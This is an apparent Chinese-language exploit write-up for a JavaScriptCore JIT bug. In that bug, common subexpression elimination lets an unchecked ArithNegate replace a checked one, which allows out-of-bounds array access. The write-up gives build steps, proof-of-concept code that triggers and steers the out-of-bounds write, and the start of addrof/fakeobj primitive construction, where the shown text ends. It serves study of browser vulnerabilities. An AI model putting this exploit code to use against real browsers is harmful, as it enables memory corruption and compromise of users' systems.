环境搭建
git checkout 17218d1485b0f5d98d2aad116d4fdb2bad6aee2d
git < ./patch.diff
Tools/Scripts/build-webkit --jsc-only --debug
启动运行:
./jsc --useConcurrentJIT=false ./exp.js
基础知识
jsc 优化的四个阶段:
在jsc中会对以下的 JS 代码进行优化:
let c = a + b;
let d = a + b;
优化成:
let c = a + b;
let d = c;
这种优化称为 Common Subexpression Elimination (CSE),公共子表达式消除,但是像下面这种:
let c = o.a;
f();
let d = o.a;
就无法进行优化消除,直接使d=c,因为在调用f()函数的过程中可能会改变o.a的值。
在JSC中,对某项操作是否进行CSE是在DFGClobberize中实现的。
漏洞分析
漏洞点在于:
case ArithNegate:
if (node->child1().useKind() == Int32Use || ...)
def(PureValue(node)); // <- only the input matters, not the ArithMode
ArithNegate 操作中没有使用ArithMode,这可能导致 CSE 可以用 unchecked的 ArithNegate 替换 checked的ArithNegate,对于ArithNegate一个32位整数求反的情况下,整数溢出只能在一种情况下发生,即32位有符号整数的最小值INT_MIN:0x80000000(-2147483648),取反后为2147483648,然而32位有符号整数的最大值为0x7fffffff,不能表示2147483648,导致溢出。溢出后需要做的就是绕过checked 的溢出检查,例如将操作的checked模式转成unchecked模式。
最终要构造以下效果:
v = ArithNeg(unchecked) n
i = ArithNeg(checked) n
然后通过CSE 优化转化成:
v = ArithNeg(unchecked) n
i = v
(1)所以首先我们要得到一个v = ArithNeg(unchecked) n
ArithNegate 用于对整数取反,然而JavaScript中很多数据为浮点数类型,所以需要先将其转成整数:
n = n|0; // n will be an integer value now
此时,n为一个32位的整数,之后要构造一个unchecked ArithNegate操作
n = n|0; // 【1】
let v = (-n)|0; // 【2】
【2】在DFGFixupPhase处理流程中,对n取反会被转化成unchecked ArithNegate操作。在对取反的值进行or操作时,编译器会消除溢出的检查,因为即使是对INT_MIN:0x80000000 (-2147483648)取反后进行or操作,得到的值也是0x80000000,v的值不会溢出,所以没必要进行溢出检查。
js> -2147483648 | 0
-2147483648
js> 2147483648 | 0
-2147483648
(2)接下来要构造i = ArithNeg(checked) n
通过ArithAbs操作实现,只有当传入的n为负数时,才会将ArithAbs转化成ArithNegate操作进行检查,因为正数的绝对值是它本身,不会造成溢出,也不用取反。因此完成以下的构造:
n = n|0;
if (n < 0) {
// Compiler knows that n will be a negative integer here
let v = (-n)|0;
let i = Math.abs(n);
}
Math.abs会调用到ArithAbs 操作,之后 IntegerRangeOptimization将 ArithAbs转换为一个checked的ArithNegate(这里要进行检查,是因为 INT_MIN:-2147483648取绝对值后变成2147483648会造成溢出)。此时v 和 i 的值被认为是相同的,都是ArithNeg n,只不过模式不同,但CSE优化会无视模式不同,直接当成同一个值处理。
(3)准备条件已经完成,最后通过循环调用,触发CSE优化,转化成:
v = ArithNeg(unchecked) n
i = v
综上所述,poc如下:
function hax(arr, n) {
n = n|0;
if (n < 0) {
let v = (-n)|0;
let idx = Math.abs(n);
if (idx < arr.length) {
arr[idx];
}
}
}
触发漏洞前,IntegerRangeOptimization 在进入idx < arr.length
时将idx标志为恒大于等于0 且小于数组长度,此时传入的n为负数,idx=-n,通过循环训练,JIT会认为idx极大可能落在数组内,预测下一次访问也在数组内,从而消除数组的越界访问检查。
而触发漏洞,进行CSE优化时,传入的n为-2147483648,idx=v=-2147483648,依然为负数,小于数组长度,进入判断,但此时已经消除了数组的越界检查。上述最终效果是可以越界访问arr[-2147483648],造成crash。
后面要做的就是将idx从-2147483648 转化成任意数,越界读写后面对象的内容。修改poc如下:
function Foo(arr, n)
{
n = n | 0;
if(n < 0) {
let v = (-n) | 0;
let idx = Math.abs(n);
if(idx < arr.length) {
if(idx & 0x80000000) { // 输入值为负时才能进行减法操作
idx += -0x7ffffffd; // idx = 3;
}
if(idx > 0) { // 由于前面的减法,IntegerRangeOptimization无法确定idx是否恒大于等于0,所以要加判断
return arr[idx] = 1.04380972981885e-310; // i2f(0x133700001337);
}
}
}
}
通过idx-0x7ffffffd
使idx=3,因为此时JIT认为idx恒为正数,减去0x7ffffffd 并不会造成溢出,所以消除了ArithAdd的检查,所以从进入idx < arr.length
条件判断到越界写操作,一路的检查都被消除了,造成了OOB漏洞。
漏洞利用
构造addrof和fakeobj原语
根据poc可以越界改写后面浮点数数组的长度,构造一个可以越界读写的数组:
布置三个数组,地址如下:
[+] arr: 0x00007fe4f209e4e8
[+] oobAddr: 0x00007fe4f209ed68
[+] objAddr: 0x00007fe4f209ede8
调试观察它们butterfly的布局:
可以看到通过越界读写arr[3],可以将oobArr数组的length修改成0x1337,之后通过oobArr可以再一次越界读写,通过修改oobArr[4],可以直接修改objArr[0]的内容,由于oobArr为浮点数数组,objArr为对象数组,通过类型转化可以完成addrof和fakeobj 原语:
let noCoW = 13.37;
let arr = [noCoW, 2.2, 3.3];
let oobArr = [noCoW, 2.2, 3.3];